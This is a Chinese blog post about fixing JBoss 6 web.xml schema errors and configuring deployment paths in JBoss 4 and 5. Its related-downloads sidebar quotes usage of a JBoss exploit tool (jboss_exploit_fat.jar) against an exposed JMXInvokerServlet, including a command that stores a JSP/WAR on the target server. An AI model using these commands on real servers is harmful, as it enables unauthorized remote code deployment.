`
100Air
  • 浏览: 118808 次
  • 性别: Icon_minigender_1
  • 来自: 海南
社区版块
存档分类
最新评论

在jboss6 出现问题:BossXBRuntimeException: {http://java.sun.c/j2ee}name not found as

阅读更多
最近用jboss6 部署旧的应用,遇到的问题及解决它,目前把它记录,方便以后查找。
一、在jboss6 上部署jsp2.0应用 出现的问题:
org.jboss.xb.binding.JBossXBRuntimeException: {http://java.sun.com/xml/ns/j2ee}name not found as a child of {http://java.sun.com/xml/ns/j2ee}description in unordered_sequence: {http://java.sun.com/xml/ns/j2ee}key?

出现这个问题是在应用的web.xml 上这样配置jsp2.0 :
<web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.4" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee   http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">

只要把这段改为:
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
   version="2.5">

这样就没有问题。

二、如果没有配置jsp2.0 ,只要加个这段这可以的
<!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
....
</web-app>

这时标签库必须在web.xml 上配置,同时<taglib> 必须在<welcome-file-list> 的后面,否则就报错。而在jboss5 就不会出现这种情况。

三、jboss6 配置应用与jboss5 配置应用是一样的,而与jboss4 是不一样的,请见:
在Jboss4.2中,在文件conf/jboss-service.xml中,修改

Xml代码
<attribute name="URLs"> 
         deploy/, 
         file:要发布的项目路径 
</attribute> 

就可以发布指定路径的项目,但是在Jboss5中却有所改变


在Jboss5中,要在${安装路径}\jboss-5.1.0.GA\server\default\conf\bootstrap中的profile.xml中,修改
Xml代码
<bean name="BootstrapProfileFactory" class="org.jboss.system.server.profileservice.repository.StaticProfileFactory"> 
      <property name="bindingsURI">${jboss.server.home.url}conf/bindingservice.beans</property> 
      <property name="bootstrapURI">${jboss.server.home.url}conf/jboss-service.xml</property> 
        <property name="deployersURI">${jboss.server.home.url}deployers</property> 
        <property name="applicationURIs"> 
            <list elementClass="java.net.URI"> 
                <value>${jboss.server.home.url}deploy</value> 
                <value>file:/要发布的项目路径</value> 
            </list> 
        </property> 
        <property name="attachmentStoreRoot">${jboss.server.data.dir}/attachments</property> 
        <property name="profileFactory"><inject bean="ProfileFactory" /></property> 
    </bean> 

分享到:
评论

相关推荐

    【J2EE OA】 项目开发日记.docx

    - [http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/EJBQL.html](http://java.sun.com/j2ee/tutorial/1_3-fcs/doc/EJBQL.html) 通过以上知识点的梳理,我们可以了解到J2EE OA项目的核心技术和实施过程。这不仅有助...

    java.lang.NoClassDefFoundError: org/jboss/logging/

    Java编程中的`java.lang.NoClassDefFoundError: org/jboss/logging/`是一个常见的运行时错误,通常发生在尝试执行一个类时,JVM无法找到在编译时已经存在的类定义。这个错误并不意味着类在编译期间不存在,而是表明...

    jboss-exp.rar

    某大牛写的jboss-exp 1. 查看系统名称 java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName 2. 查看系统版本 java -jar jboss_...

    jboss_exploit_fat

    java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository store myname.war index .jsp $content$ true -s java.lang....

    jboss xml漏洞exp

    java -jar jboss_exploit_fat.jar -i http://192.168.7.84:10081/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository store myname.war index .jsp $content$ true -s java.lang....

    java.lang.UnsupportedClassVersionError问题的解决方法

    在开发Java应用程序的过程中,经常会遇到与JDK版本不兼容的问题,其中一种常见的异常就是`java.lang.UnsupportedClassVersionError`。该错误通常发生在试图用一个较低版本的JDK加载由较高版本JDK编译的类文件时。...

    如何配置maven

    - [http://repository.jboss.org/nexus/content/groups/public-jboss](http://repository.jboss.org/nexus/content/groups/public-jboss) - [http://repo.jfrog.org/artifactory/plugins-releases-local]...

    JBOSS-J2EE.JAR

    JBOSS-J2EE.JAR JBOSS-J2EE.JAR JBOSS-J2EE.JAR JBOSS-J2EE.JAR JBOSS-J2EE.JAR JBOSS-J2EE.JAR

    jboss 下载(httpwww.jboss.org)

    JBoss 是一个开源的、基于 J2EE(Java 2 Platform, Enterprise Edition)的应用服务器,由全球开发者社区共同维护和开发。它最初以 LGPL 许可协议发布,允许商业应用免费使用。2006年,JBoss 被著名的开源公司 Red ...

    JBoss安装配置.ppt

    JBoss 是一个开源的应用服务器,它提供了一个运行Java EE应用程序的平台。本教程将详细介绍如何在Windows环境下安装和配置JBoss,并演示一个简单的Servlet应用程序的部署步骤。 **JBoss安装配置** 1. **安装Step 1...

    Eclipse中如何集成JBOSS7.0版本

    然而,由于该版本较为新颖,可能会遇到一些在早期版本中未曾出现的问题。本文将详细介绍如何在Eclipse中成功集成JBOSS 7.0,并提供针对一些常见问题的解决方案。 #### 一、准备工作 在开始集成JBOSS 7.0之前,需要...

    JBoss 的安装与部署

    【JBoss 安装与部署】是学习中间件管理的重要环节,JBoss 是一个流行的开源应用服务器,基于Java EE 平台,它提供了一个运行环境来托管Java 应用程序和服务。以下是JBoss的详细安装与部署步骤: **安装步骤** 1. *...

    java的三大开源框架帮助路径

    根据提供的信息,我们可以推断出该文章主要关注的是Java中的三大开源框架的帮助资源路径。由于提供的部分内容似乎包含了一些无法辨识的信息,我们将基于标题、描述和标签来构建一个关于Java三大开源框架及其帮助路径...

    linux 下 配置JBoss6.0+JDK7.0

    在Linux环境下配置JBoss6.0与JDK7.0是一项关键的任务,因为这两个组件是许多企业级Java应用的基础。JBoss是一个流行的开源应用服务器,它支持Java EE规范,而JDK则是运行Java应用程序和应用服务器所必需的开发工具包...

    Android代码-roaster

    Roaster - The only Java source parser library you'll ever need image:https://travis-ci.org/forge/roaster.svg?branch=master["Build Status", link="https://travis-ci.org/forge/roaster"] image:...

    真正的java学习从入门到精�.doc

    ### 真正的Java学习从入门到精通 #### 一、工具篇——JDK (Java Development Kit) JDK作为Java的核心组成部分,包含了Java运行环境(Java Runtime Environment, JRE)、一系列Java工具以及基础的类库(rt.jar)。...

    Android代码-undertow

    Undertow is a Java web server based on non-blocking IO. It consists of a few different parts: A core HTTP server that supports both blocking and non-blocking IO A Servlet 4.0 implementation A JSR-356...

    jboss在linux上的安装

    ### jBoss 在 Linux 上的安装及配置 #### 一、前言 随着企业级应用的发展,jBoss 作为一款开放源代码的应用服务器,在 Linux 平台上有着广泛的应用场景。本篇指南将详细介绍如何在 Linux 系统上安装并配置 jBoss ...

Global site tag (gtag.js) - Google Analytics